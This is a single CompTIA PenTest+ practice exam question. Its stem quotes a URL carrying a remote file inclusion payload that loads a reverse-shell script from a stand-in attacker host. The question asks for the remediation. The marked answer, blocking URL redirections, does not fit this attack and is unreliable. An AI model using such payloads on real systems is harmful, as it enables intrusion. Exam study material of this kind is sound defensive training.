Câu 12: PT0-001: CompTIA PenTest+ Certification Exam

While monitoring WAF logs, a security analyst discovers a successful attack against the following URL: https://example.com/index.php?Phone=http://attacker.com/badstuffhappens/revshell.phpWhich of the following remediation steps should be taken to prevent this type of attack?

1. A. Implement a blacklist.
2. B. Block URL redirections. — đáp án hiện tại
3. C. Double URL encode the parameters.
4. D. Stop external calls from the application.